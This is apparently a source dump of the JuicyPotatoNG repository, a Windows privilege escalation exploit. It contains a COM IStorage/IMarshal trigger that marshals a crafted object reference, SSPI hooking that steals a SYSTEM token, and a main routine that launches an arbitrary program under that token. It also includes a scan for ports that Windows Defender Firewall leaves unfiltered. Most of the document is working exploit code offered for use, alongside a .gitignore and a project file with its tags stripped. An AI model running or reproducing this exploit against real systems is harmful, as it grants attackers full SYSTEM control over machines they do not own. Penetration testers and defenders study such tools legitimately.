(byte*)malloc(len); 56 | for (int i = 0; i < len; i++) 57 | { 58 | if (i % 2) 59 | dataip[i] = *ipaddr++; 60 | else 61 | dataip[i] = 0; 62 | } 63 | byte data_4[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0xff, 64 | 0xff, 0x00, 0x00, 0x00, 0x00 65 | }; 66 | byte data_1[4]; 67 | data_1[0] = (byte)total_length; 68 | data_1[1] = 0; 69 | data_1[2] = sec_offset; 70 | data_1[3] = 0; 71 | int size = sizeof(data_0) + 32 + sizeof(data_1) + len + 1 + sizeof(data_4); 72 | byte* marshalbuf = (byte*)malloc(size); 73 | int r = 0; 74 | memcpy(&marshalbuf[r], data_0, sizeof(data_0)); 75 | r = sizeof(data_0); 76 | memcpy(&marshalbuf[r], gOxid, 8); 77 | r = r + 8; 78 | memcpy(&marshalbuf[r], gOid, 8); 79 | r = r + 8; 80 | memcpy(&marshalbuf[r], gIpid, 16); 81 | r = r + 16; 82 | memcpy(&marshalbuf[r], data_1, sizeof(data_1)); 83 | r = r + sizeof(data_1); 84 | byte tmp1[] = { 0x07 }; // ncacn_ip_tcp: Tower Id for the Oxid resolution 85 | memcpy(&marshalbuf[r], tmp1, 1); 86 | r = r + 1; 87 | memcpy(&marshalbuf[r], dataip, len); 88 | r = r + len; 89 | memcpy(&marshalbuf[r], data_4, sizeof(data_4)); 90 | ULONG written = 0; 91 | pStm->Write(&marshalbuf[0], size, &written); 92 | //printf("[*] Marshalling the IStorage object... IStorageTrigger written: %d bytes\n", written); 93 | free(marshalbuf); 94 | free(dataip); 95 | return 0; 96 | } 97 | 98 | HRESULT IStorageTrigger::ReleaseMarshalData(IStream* pStm) { 99 | return 0; 100 | } 101 | HRESULT IStorageTrigger::UnmarshalInterface(IStream* pStm, const IID& riid, void** ppv) { 102 | *ppv = 0; 103 | return 0; 104 | } 105 | HRESULT IStorageTrigger::Commit(DWORD grfCommitFlags) { 106 | _stg->Commit(grfCommitFlags); 107 | return 0; 108 | } 109 | HRESULT IStorageTrigger::CopyTo(DWORD ciidExclude, const IID* rgiidExclude, SNB snbExclude, IStorage* pstgDest) { 110 | _stg->CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest); 111 | return 0; 112 | } 113 | HRESULT IStorageTrigger::CreateStorage(const OLECHAR* pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage** ppstg) { 114 | _stg->CreateStorage(pwcsName, grfMode, reserved1, reserved2, ppstg); 115 | return 0; 116 | } 117 | HRESULT IStorageTrigger::CreateStream(const OLECHAR* pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream** ppstm) { 118 | _stg->CreateStream(pwcsName, grfMode, reserved1, reserved2, ppstm); 119 | return 0; 120 | } 121 | HRESULT IStorageTrigger::DestroyElement(const OLECHAR* pwcsName) { 122 | _stg->DestroyElement(pwcsName); 123 | return 0; 124 | } 125 | HRESULT IStorageTrigger::EnumElements(DWORD reserved1, void* reserved2, DWORD reserved3, IEnumSTATSTG** ppenum) { 126 | _stg->EnumElements(reserved1, reserved2, reserved3, ppenum); 127 | return 0; 128 | } 129 | HRESULT IStorageTrigger::MoveElementTo(const OLECHAR* pwcsName, IStorage* pstgDest, const OLECHAR* pwcsNewName, DWORD grfFlags) { 130 | _stg->MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags); 131 | return 0; 132 | } 133 | HRESULT IStorageTrigger::OpenStorage(const OLECHAR* pwcsName, IStorage* pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage** ppstg) { 134 | _stg->OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, ppstg); 135 | return 0; 136 | } 137 | HRESULT IStorageTrigger::OpenStream(const OLECHAR* pwcsName, void* reserved1, DWORD grfMode, DWORD reserved2, IStream** ppstm) { 138 | _stg->OpenStream(pwcsName, reserved1, grfMode, reserved2, ppstm); 139 | return 0; 140 | } 141 | HRESULT IStorageTrigger::RenameElement(const OLECHAR* pwcsOldName, const OLECHAR* pwcsNewName) { 142 | return 0; 143 | } 144 | HRESULT IStorageTrigger::Revert() { 145 | return 0; 146 | } 147 | HRESULT IStorageTrigger::SetClass(const IID& clsid) { 148 | return 0; 149 | } 150 | HRESULT IStorageTrigger::SetElementTimes(const OLECHAR* pwcsName, const FILETIME* pctime, const FILETIME* patime, const FILETIME* pmtime) { 151 | return 0; 152 | } 153 | HRESULT IStorageTrigger::SetStateBits(DWORD grfStateBits, DWORD grfMask) { 154 | return 0; 155 | } 156 | HRESULT IStorageTrigger::Stat(STATSTG* pstatstg, DWORD grfStatFlag) { 157 | _stg->Stat(pstatstg, grfStatFlag); 158 | //Allocate from heap because apparently this will get freed in OLE32 159 | const wchar_t c_s[] = L"JuicyPotatoNG.stg"; 160 | wchar_t* s = (wchar_t*)CoTaskMemAlloc(sizeof(c_s)); 161 | wcscpy_s(s, sizeof(c_s), c_s); 162 | pstatstg[0].pwcsName = s; 163 | return 0; 164 | } 165 | 166 | ///////////////////////IUknown Interface 167 | HRESULT IStorageTrigger::QueryInterface(const IID& riid, void** ppvObj) { 168 | // Always set out parameter to NULL, validating it first. 169 | if (!ppvObj) { 170 | //printf("QueryInterface INVALID\n"); 171 | return E_INVALIDARG; 172 | } 173 | if (riid == IID_IUnknown) 174 | { 175 | *ppvObj = static_cast(this); 176 | //reinterpret_cast(*ppvObj)->AddRef(); 177 | } 178 | else if (riid == IID_IStorage) 179 | { 180 | *ppvObj = static_cast(this); 181 | } 182 | else if (riid == IID_IMarshal) 183 | { 184 | *ppvObj = static_cast(this); 185 | } 186 | else 187 | { 188 | *ppvObj = NULL; 189 | //printf("QueryInterface NOINT\n"); 190 | return E_NOINTERFACE; 191 | } 192 | // Increment the reference count and return the pointer. 193 | 194 | return S_OK; 195 | 196 | } 197 | 198 | ULONG IStorageTrigger::AddRef() { 199 | m_cRef++; 200 | return m_cRef; 201 | } 202 | 203 | ULONG IStorageTrigger::Release() { 204 | // Decrement the object's internal counter. 205 | ULONG ulRefCount = m_cRef--; 206 | return ulRefCount; 207 | } 208 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Aa][Rr][Mm]/ 27 | [Aa][Rr][Mm]64/ 28 | bld/ 29 | [Bb]in/ 30 | [Oo]bj/ 31 | [Ll]og/ 32 | [Ll]ogs/ 33 | 34 | # Visual Studio 2015/2017 cache/options directory 35 | .vs/ 36 | # Uncomment if you have tasks that create the project's static files in wwwroot 37 | #wwwroot/ 38 | 39 | # Visual Studio 2017 auto generated files 40 | Generated\ Files/ 41 | 42 | # MSTest test Results 43 | [Tt]est[Rr]esult*/ 44 | [Bb]uild[Ll]og.* 45 | 46 | # NUnit 47 | *.VisualState.xml 48 | TestResult.xml 49 | nunit-*.xml 50 | 51 | # Build Results of an ATL Project 52 | [Dd]ebugPS/ 53 | [Rr]eleasePS/ 54 | dlldata.c 55 | 56 | # Benchmark Results 57 | BenchmarkDotNet.Artifacts/ 58 | 59 | # .NET Core 60 | project.lock.json 61 | project.fragment.lock.json 62 | artifacts/ 63 | 64 | # StyleCop 65 | StyleCopReport.xml 66 | 67 | # Files built by Visual Studio 68 | *_i.c 69 | *_p.c 70 | *_h.h 71 | *.ilk 72 | *.meta 73 | *.obj 74 | *.iobj 75 | *.pch 76 | *.pdb 77 | *.ipdb 78 | *.pgc 79 | *.pgd 80 | *.rsp 81 | *.sbr 82 | *.tlb 83 | *.tli 84 | *.tlh 85 | *.tmp 86 | *.tmp_proj 87 | *_wpftmp.csproj 88 | *.log 89 | *.vspscc 90 | *.vssscc 91 | .builds 92 | *.pidb 93 | *.svclog 94 | *.scc 95 | 96 | # Chutzpah Test files 97 | _Chutzpah* 98 | 99 | # Visual C++ cache files 100 | ipch/ 101 | *.aps 102 | *.ncb 103 | *.opendb 104 | *.opensdf 105 | *.sdf 106 | *.cachefile 107 | *.VC.db 108 | *.VC.VC.opendb 109 | 110 | # Visual Studio profiler 111 | *.psess 112 | *.vsp 113 | *.vspx 114 | *.sap 115 | 116 | # Visual Studio Trace Files 117 | *.e2e 118 | 119 | # TFS 2012 Local Workspace 120 | $tf/ 121 | 122 | # Guidance Automation Toolkit 123 | *.gpState 124 | 125 | # ReSharper is a .NET coding add-in 126 | _ReSharper*/ 127 | *.[Rr]e[Ss]harper 128 | *.DotSettings.user 129 | 130 | # TeamCity is a build add-in 131 | _TeamCity* 132 | 133 | # DotCover is a Code Coverage Tool 134 | *.dotCover 135 | 136 | # AxoCover is a Code Coverage Tool 137 | .axoCover/* 138 | !.axoCover/settings.json 139 | 140 | # Visual Studio code coverage results 141 | *.coverage 142 | *.coveragexml 143 | 144 | # NCrunch 145 | _NCrunch_* 146 | .*crunch*.local.xml 147 | nCrunchTemp_* 148 | 149 | # MightyMoose 150 | *.mm.* 151 | AutoTest.Net/ 152 | 153 | # Web workbench (sass) 154 | .sass-cache/ 155 | 156 | # Installshield output folder 157 | [Ee]xpress/ 158 | 159 | # DocProject is a documentation generator add-in 160 | DocProject/buildhelp/ 161 | DocProject/Help/*.HxT 162 | DocProject/Help/*.HxC 163 | DocProject/Help/*.hhc 164 | DocProject/Help/*.hhk 165 | DocProject/Help/*.hhp 166 | DocProject/Help/Html2 167 | DocProject/Help/html 168 | 169 | # Click-Once directory 170 | publish/ 171 | 172 | # Publish Web Output 173 | *.[Pp]ublish.xml 174 | *.azurePubxml 175 | # Note: Comment the next line if you want to checkin your web deploy settings, 176 | # but database connection strings (with potential passwords) will be unencrypted 177 | *.pubxml 178 | *.publishproj 179 | 180 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 181 | # checkin your Azure Web App publish settings, but sensitive information contained 182 | # in these scripts will be unencrypted 183 | PublishScripts/ 184 | 185 | # NuGet Packages 186 | *.nupkg 187 | # NuGet Symbol Packages 188 | *.snupkg 189 | # The packages folder can be ignored because of Package Restore 190 | **/[Pp]ackages/* 191 | # except build/, which is used as an MSBuild target. 192 | !**/[Pp]ackages/build/ 193 | # Uncomment if necessary however generally it will be regenerated when needed 194 | #!**/[Pp]ackages/repositories.config 195 | # NuGet v3's project.json files produces more ignorable files 196 | *.nuget.props 197 | *.nuget.targets 198 | 199 | # Microsoft Azure Build Output 200 | csx/ 201 | *.build.csdef 202 | 203 | # Microsoft Azure Emulator 204 | ecf/ 205 | rcf/ 206 | 207 | # Windows Store app package directories and files 208 | AppPackages/ 209 | BundleArtifacts/ 210 | Package.StoreAssociation.xml 211 | _pkginfo.txt 212 | *.appx 213 | *.appxbundle 214 | *.appxupload 215 | 216 | # Visual Studio cache files 217 | # files ending in .cache can be ignored 218 | *.[Cc]ache 219 | # but keep track of directories ending in .cache 220 | !?*.[Cc]ache/ 221 | 222 | # Others 223 | ClientBin/ 224 | ~$* 225 | *~ 226 | *.dbmdl 227 | *.dbproj.schemaview 228 | *.jfm 229 | *.pfx 230 | *.publishsettings 231 | orleans.codegen.cs 232 | 233 | # Including strong name files can present a security risk 234 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 235 | #*.snk 236 | 237 | # Since there are multiple workflows, uncomment next line to ignore bower_components 238 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 239 | #bower_components/ 240 | 241 | # RIA/Silverlight projects 242 | Generated_Code/ 243 | 244 | # Backup & report files from converting an old project file 245 | # to a newer Visual Studio version. Backup files are not needed, 246 | # because we have git ;-) 247 | _UpgradeReport_Files/ 248 | Backup*/ 249 | UpgradeLog*.XML 250 | UpgradeLog*.htm 251 | ServiceFabricBackup/ 252 | *.rptproj.bak 253 | 254 | # SQL Server files 255 | *.mdf 256 | *.ldf 257 | *.ndf 258 | 259 | # Business Intelligence projects 260 | *.rdl.data 261 | *.bim.layout 262 | *.bim_*.settings 263 | *.rptproj.rsuser 264 | *- [Bb]ackup.rdl 265 | *- [Bb]ackup ([0-9]).rdl 266 | *- [Bb]ackup ([0-9][0-9]).rdl 267 | 268 | # Microsoft Fakes 269 | FakesAssemblies/ 270 | 271 | # GhostDoc plugin setting file 272 | *.GhostDoc.xml 273 | 274 | # Node.js Tools for Visual Studio 275 | .ntvs_analysis.dat 276 | node_modules/ 277 | 278 | # Visual Studio 6 build log 279 | *.plg 280 | 281 | # Visual Studio 6 workspace options file 282 | *.opt 283 | 284 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 285 | *.vbw 286 | 287 | # Visual Studio LightSwitch build output 288 | **/*.HTMLClient/GeneratedArtifacts 289 | **/*.DesktopClient/GeneratedArtifacts 290 | **/*.DesktopClient/ModelManifest.xml 291 | **/*.Server/GeneratedArtifacts 292 | **/*.Server/ModelManifest.xml 293 | _Pvt_Extensions 294 | 295 | # Paket dependency manager 296 | .paket/paket.exe 297 | paket-files/ 298 | 299 | # FAKE - F# Make 300 | .fake/ 301 | 302 | # CodeRush personal settings 303 | .cr/personal 304 | 305 | # Python Tools for Visual Studio (PTVS) 306 | __pycache__/ 307 | *.pyc 308 | 309 | # Cake - Uncomment if you are using it 310 | # tools/** 311 | # !tools/packages.config 312 | 313 | # Tabs Studio 314 | *.tss 315 | 316 | # Telerik's JustMock configuration file 317 | *.jmconfig 318 | 319 | # BizTalk build output 320 | *.btp.cs 321 | *.btm.cs 322 | *.odx.cs 323 | *.xsd.cs 324 | 325 | # OpenCover UI analysis results 326 | OpenCover/ 327 | 328 | # Azure Stream Analytics local run output 329 | ASALocalRun/ 330 | 331 | # MSBuild Binary and Structured Log 332 | *.binlog 333 | 334 | # NVidia Nsight GPU debugger configuration file 335 | *.nvuser 336 | 337 | # MFractors (Xamarin productivity tool) working folder 338 | .mfractor/ 339 | 340 | # Local History for Visual Studio 341 | .localhistory/ 342 | 343 | # BeatPulse healthcheck temp database 344 | healthchecksdb 345 | 346 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 347 | MigrationBackup/ 348 | 349 | # Ionide (cross platform F# VS Code tools) working folder 350 | .ionide/ 351 | -------------------------------------------------------------------------------- /JuicyPotatoNG.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {261f880e-4bee-428d-9f64-c29292002c19} 25 | JuicyPotatoNG 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | true 102 | true 103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | 106 | 107 | Console 108 | true 109 | true 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 118 | true 119 | 120 | 121 | Console 122 | true 123 | 124 | 125 | 126 | 127 | Level3 128 | true 129 | true 130 | true 131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 132 | true 133 | MultiThreaded 134 | 135 | 136 | Console 137 | true 138 | true 139 | false 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | -------------------------------------------------------------------------------- /JuicyPotatoNG.cpp: -------------------------------------------------------------------------------- 1 | #include "Windows.h" 2 | #include "stdio.h" 3 | #include "strsafe.h" 4 | #include "netfw.h" 5 | #include "PotatoTrigger.h" 6 | #include "SSPIHooks.h" 7 | #include "BruteforceCLSIDs.h" 8 | 9 | HANDLE g_hEventTokenStolen; 10 | HANDLE g_hEventAuthTriggered; 11 | HANDLE g_hTokenStolenPrimary; 12 | HANDLE g_hTokenStolenSecondary; 13 | BOOL g_SystemTokenStolen; 14 | 15 | void usage(); 16 | void ImpersonateInteractiveSid(); 17 | BOOL EnablePriv(HANDLE hToken, LPCTSTR priv); 18 | int Juicy(wchar_t* processtype, wchar_t* appname, wchar_t* cmdline, BOOL interactiveMode); 19 | void SeekNonFilteredPorts(); 20 | 21 | int wmain(int argc, wchar_t** argv) 22 | { 23 | WCHAR defaultClsidStr[] = L"{854A20FB-2D44-457D-992F-EF13785D2B51}"; // Print Notify Service CLSID 24 | WCHAR defaultComPort[] = L"10247"; 25 | PWCHAR clsidStr = defaultClsidStr; 26 | PWCHAR comPort = defaultComPort; 27 | PWCHAR appname = NULL; 28 | PWCHAR cmdline = NULL; 29 | PWCHAR processtype = NULL; 30 | BOOL interactiveMode = FALSE; 31 | BOOL bruteforceClsids = FALSE; 32 | BOOL testingClsid = FALSE; 33 | BOOL seekComPort = FALSE; 34 | 35 | int cnt = 1; 36 | while ((argc > 1) && (argv[cnt][0] == '-')) 37 | { 38 | switch (argv[cnt][1]) 39 | { 40 | 41 | case 't': 42 | ++cnt; 43 | --argc; 44 | processtype = argv[cnt]; 45 | break; 46 | 47 | case 'p': 48 | ++cnt; 49 | --argc; 50 | appname = argv[cnt]; 51 | break; 52 | 53 | case 'a': 54 | ++cnt; 55 | --argc; 56 | cmdline = argv[cnt]; 57 | break; 58 | 59 | case 'c': 60 | ++cnt; 61 | --argc; 62 | clsidStr = argv[cnt]; 63 | break; 64 | 65 | case 'l': 66 | ++cnt; 67 | --argc; 68 | comPort = argv[cnt]; 69 | break; 70 | 71 | case 'i': 72 | interactiveMode = TRUE; 73 | break; 74 | 75 | case 'b': 76 | bruteforceClsids = TRUE; 77 | break; 78 | 79 | case 'z': 80 | testingClsid = TRUE; 81 | break; 82 | 83 | case 's': 84 | seekComPort = TRUE; 85 | break; 86 | 87 | case 'h': 88 | usage(); 89 | exit(0); 90 | 91 | 92 | default: 93 | printf("Wrong Argument: %S\n", argv[cnt]); 94 | usage(); 95 | exit(-1); 96 | } 97 | ++cnt; 98 | --argc; 99 | } 100 | 101 | if (!testingClsid) { 102 | printf("\n\n\t JuicyPotatoNG\n"); 103 | printf("\t by decoder_it & splinter_code\n\n"); 104 | } 105 | 106 | if (bruteforceClsids) { 107 | BruteforceAllClisds(); 108 | return 0; 109 | } 110 | 111 | if (seekComPort) { 112 | SeekNonFilteredPorts(); 113 | return 0; 114 | } 115 | 116 | if (!testingClsid && (processtype == NULL || appname == NULL)) 117 | { 118 | usage(); 119 | exit(-1); 120 | } 121 | 122 | if (!testingClsid) 123 | printf("[*] Testing CLSID %S - COM server port %S \n", clsidStr, comPort); 124 | g_hEventAuthTriggered = CreateEvent(NULL, TRUE, FALSE, NULL); 125 | g_hEventTokenStolen = CreateEvent(NULL, TRUE, FALSE, NULL); 126 | g_SystemTokenStolen = FALSE; 127 | HookSSPIForTokenStealing(clsidStr); 128 | ImpersonateInteractiveSid(); 129 | PotatoTrigger(clsidStr, comPort, g_hEventAuthTriggered); 130 | RevertToSelf(); 131 | 132 | if (!testingClsid) { 133 | if (WaitForSingleObject(g_hEventAuthTriggered, 3000) == WAIT_TIMEOUT) { 134 | printf("[-] The privileged process failed to communicate with our COM Server :( Try a different COM port in the -l flag. \n"); 135 | } 136 | else { 137 | if (WaitForSingleObject(g_hEventTokenStolen, 3000) == WAIT_TIMEOUT && g_SystemTokenStolen) { 138 | printf("[-] Cannot capture a valid SYSTEM token, exiting... \n"); 139 | } 140 | else { 141 | if (g_SystemTokenStolen && Juicy(processtype, appname, cmdline, interactiveMode)) 142 | printf("[+] Exploit successful! \n"); 143 | else 144 | printf("[-] Exploit failed! \n"); 145 | } 146 | } 147 | } 148 | else { 149 | WaitForSingleObject(g_hEventAuthTriggered, 500); 150 | WaitForSingleObject(g_hEventTokenStolen, 500); 151 | } 152 | 153 | CloseHandle(g_hEventAuthTriggered); 154 | CloseHandle(g_hEventTokenStolen); 155 | CloseHandle(g_hTokenStolenPrimary); 156 | CloseHandle(g_hTokenStolenSecondary); 157 | return 0; 158 | } 159 | 160 | void ImpersonateInteractiveSid() { 161 | HANDLE hToken; 162 | if (!LogonUser(L"JuicyPotatoNG", L".", L"JuicyPotatoNG", LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_WINNT50, &hToken)) { 163 | printf("[!] LogonUser failed with error code %d \n", GetLastError()); 164 | exit(-1); 165 | } 166 | ImpersonateLoggedOnUser(hToken); 167 | } 168 | 169 | BOOL EnablePriv(HANDLE hToken, LPCTSTR priv) 170 | { 171 | TOKEN_PRIVILEGES tp; 172 | LUID luid; 173 | PRIVILEGE_SET privs; 174 | BOOL privEnabled; 175 | if (!LookupPrivilegeValue(NULL, priv, &luid)) 176 | { 177 | printf("LookupPrivilegeValue() failed, error %u\n", GetLastError()); 178 | return FALSE; 179 | } 180 | tp.PrivilegeCount = 1; 181 | tp.Privileges[0].Luid = luid; 182 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 183 | if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) 184 | { 185 | printf("AdjustTokenPrivileges() failed, error %u\n", GetLastError()); 186 | return FALSE; 187 | } 188 | privs.PrivilegeCount = 1; 189 | privs.Control = PRIVILEGE_SET_ALL_NECESSARY; 190 | privs.Privilege[0].Luid = luid; 191 | privs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED; 192 | if (!PrivilegeCheck(hToken, &privs, &privEnabled)) { 193 | printf("PrivilegeCheck() failed, error %u\n", GetLastError()); 194 | return FALSE; 195 | } 196 | if (!privEnabled) 197 | return FALSE; 198 | return TRUE; 199 | } 200 | 201 | int Juicy(wchar_t* processtype, wchar_t* appname, wchar_t* cmdline, BOOL interactiveMode) { 202 | wchar_t* command = NULL; 203 | wchar_t desktopName[] = L"Winsta0\\default"; 204 | DWORD maxCmdlineLen = 30000; 205 | int ret = 0; 206 | BOOL result = FALSE, isImpersonating = FALSE; 207 | PROCESS_INFORMATION pi; 208 | STARTUPINFO si; 209 | HANDLE hTokenCurrProc; 210 | DWORD dwCreationFlags = 0; 211 | DWORD sessionId = 0; 212 | 213 | // This exploit works when you have either SeImpersonate or SeAssignPrimaryToken privileges 214 | // We perform some token adjustments to succeed in both cases 215 | OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hTokenCurrProc); 216 | if (EnablePriv(hTokenCurrProc, SE_IMPERSONATE_NAME)) { 217 | EnablePriv(g_hTokenStolenSecondary, SE_IMPERSONATE_NAME); 218 | EnablePriv(g_hTokenStolenSecondary, SE_ASSIGNPRIMARYTOKEN_NAME); 219 | EnablePriv(g_hTokenStolenSecondary, SE_TCB_NAME); 220 | ImpersonateLoggedOnUser(g_hTokenStolenSecondary); 221 | isImpersonating = TRUE; 222 | } 223 | else { 224 | if (!EnablePriv(hTokenCurrProc, SE_ASSIGNPRIMARYTOKEN_NAME)) { 225 | printf("[!] Current process doesn't have SeImpersonate or SeAssignPrimaryToken privileges, exiting... \n"); 226 | exit(-1); 227 | } 228 | } 229 | CloseHandle(hTokenCurrProc); 230 | 231 | if (cmdline != NULL) 232 | { 233 | command = (wchar_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, maxCmdlineLen * sizeof(WCHAR)); 234 | StringCchCopy(command, maxCmdlineLen, appname); 235 | StringCchCat(command, maxCmdlineLen, L" "); 236 | StringCchCat(command, maxCmdlineLen, cmdline); 237 | } 238 | 239 | if (*processtype == L'u' || *processtype == L'*') 240 | { 241 | ZeroMemory(&si, sizeof(STARTUPINFO)); 242 | ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); 243 | si.cb = sizeof(STARTUPINFO); 244 | si.lpDesktop = desktopName; 245 | dwCreationFlags = interactiveMode ? 0 : CREATE_NEW_CONSOLE; 246 | if (!interactiveMode) { 247 | ProcessIdToSessionId(GetCurrentProcessId(), &sessionId); 248 | SetTokenInformation(g_hTokenStolenPrimary, TokenSessionId, &sessionId, sizeof(sessionId)); 249 | } 250 | result = CreateProcessAsUserW(g_hTokenStolenPrimary, appname, command, NULL, NULL, FALSE, dwCreationFlags, NULL, L"\\", &si, &pi); 251 | if (!result) 252 | printf("[-] CreateProcessAsUser Failed to create proc: %d\n", GetLastError()); 253 | else { 254 | printf("[+] CreateProcessAsUser OK\n"); 255 | if (interactiveMode) { 256 | printf("[*] Process output:\n"); 257 | WaitForSingleObject(pi.hProcess, INFINITE); 258 | } 259 | CloseHandle(pi.hThread); 260 | CloseHandle(pi.hProcess); 261 | ret = 1; 262 | goto cleanup; 263 | } 264 | } 265 | 266 | if (*processtype == L't' || *processtype == L'*') 267 | { 268 | ZeroMemory(&si, sizeof(STARTUPINFO)); 269 | ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); 270 | si.cb = sizeof(STARTUPINFO); 271 | si.lpDesktop = desktopName; 272 | 273 | result = CreateProcessWithTokenW(g_hTokenStolenPrimary, 0, appname, command, 0, NULL, NULL, &si, &pi); 274 | if (!result) 275 | printf("[-] CreateProcessWithTokenW Failed to create proc: %d\n", GetLastError()); 276 | else 277 | { 278 | printf("[+] CreateProcessWithTokenW OK\n"); 279 | ret = 1; 280 | goto cleanup; 281 | } 282 | } 283 | 284 | cleanup: 285 | if (isImpersonating) RevertToSelf(); 286 | if (command != NULL) HeapFree(GetProcessHeap, 0, command); 287 | fflush(stdout); 288 | return ret; 289 | } 290 | 291 | void SeekNonFilteredPorts() { 292 | INetFwMgr* pNetFwMgr; 293 | INetFwPolicy* pNetFwPolicy; 294 | INetFwProfile* pNetFwProfile; 295 | VARIANT allowed, restricted; 296 | VARIANT_BOOL firewallEnabled; 297 | printf("[*] Finding suitable port not filtered by Windows Defender Firewall to be used in our local COM Server port.\n"); 298 | CoInitialize(NULL); 299 | CoCreateInstance(CLSID_NetFwMgr, NULL, CLSCTX_INPROC_SERVER, IID_INetFwMgr, (LPVOID*)&pNetFwMgr); 300 | pNetFwMgr->get_LocalPolicy(&pNetFwPolicy); 301 | pNetFwPolicy->get_CurrentProfile(&pNetFwProfile); 302 | pNetFwProfile->get_FirewallEnabled(&firewallEnabled); 303 | if (!firewallEnabled) { 304 | printf("[*] Windows Defender Firewall not enabled. Every COM port will work.\n"); 305 | } 306 | else { 307 | for (LONG portNumber = 20; portNumber < 65535; portNumber++) { 308 | pNetFwMgr->IsPortAllowed((BSTR)L"System", NET_FW_IP_VERSION_ANY, portNumber, (BSTR)L"", NET_FW_IP_PROTOCOL_TCP, &allowed, &restricted); 309 | if (allowed.boolVal) { 310 | printf("[+] Found non filtered port: %d \n", portNumber); 311 | } 312 | } 313 | } 314 | pNetFwProfile->Release(); 315 | pNetFwPolicy->Release(); 316 | pNetFwMgr->Release(); 317 | pNetFwMgr->Release(); 318 | CoUninitialize(); 319 | } 320 | 321 | 322 | void usage() 323 | { 324 | printf("\n\n\t JuicyPotatoNG\n"); 325 | printf("\t by decoder_it & splinter_code\n\n"); 326 | 327 | printf("\n"); 328 | printf("Mandatory args: \n" 329 | "-t createprocess call: CreateProcessWithTokenW, CreateProcessAsUser, <*> try both\n" 330 | "-p : program to launch\n" 331 | ); 332 | 333 | printf("\n\n"); 334 | printf("Optional args: \n" 335 | "-l : COM server listen port (Default 10247)\n" 336 | "-a : command line argument to pass to program (default NULL)\n" 337 | "-c : (Default {854A20FB-2D44-457D-992F-EF13785D2B51})\n" 338 | "-i : Interactive Console (valid only with CreateProcessAsUser)\n" 339 | ); 340 | 341 | printf("\n\n"); 342 | printf("Additional modes: \n" 343 | "-b : Bruteforce all CLSIDs. !ALERT: USE ONLY FOR TESTING. About 1000 processes will be spawned!\n" 344 | "-s : Seek for a suitable COM port not filtered by Windows Defender Firewall\n" 345 | ); 346 | 347 | } --------------------------------------------------------------------------------